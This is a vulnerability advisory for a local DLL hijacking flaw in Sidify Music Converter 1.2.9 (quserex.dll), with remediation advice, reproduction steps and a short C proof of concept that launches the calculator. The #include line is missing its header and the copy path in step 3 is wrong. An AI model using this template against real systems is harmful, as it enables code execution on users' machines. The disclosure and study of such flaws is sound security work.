Sidify Music Converter 1.2.9 – DLL Injection/Code Execution

A local dll injection vulnerability has been discovered in the official Sidify Music Converter 1.2.9 software.
The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process
or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the
affected software to followup with manipulations.

Vulnerable Software:
[+] Sidify Music Converter

Vulnerable Version(s):
[+] v1.2.9

Vulnerable Libraries:
[+] quserex.dll

Product & Service Introduction:
===============================

Sidify is a Spotify music converter, encoded with innovative DRM decryption technology, it is able to convert Spotify audio files to a 5X conversion rate by keeping the tags after the conversion. Sidify helps you download and save Spotify music to MP3, AAC, WAV or FLAC, so you can play them with your music player more freely. Do you have a lot of songs to convert? Do not worry, Sidify lets you drag songs as well as playlist to the program for batch conversion.

(Copy of the Vendor Homepage: https://www.sidify.fr/)

Date of Discovery:
==================

2018-08-03

Exploitation Technique:
=======================

Local

Platfom Tested:
===============

Windows 7 & 10

Solution – Fix & Patch:
=======================
1/ Whenever possible, use a full path when loading a library.
2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’
3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order.
4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API.

Levels Risk :

Proof of Concept (PoC):
=======================

The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll
2. Rename the dynamic link library to quserex.dll 
3. Copy quserex.dll to C:\Program Files\Sidify\Sidify Music Converter\Sidify Music Converter.exe
4. Launch Sidify Music Converter.exe
5. Now the calculator executes!


-- PoC Exploit --
#include 
#define DLLIMPORT __declspec (dllexport)
 
DLLIMPORT void HrCreateConverter() { evil(); }
 
int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

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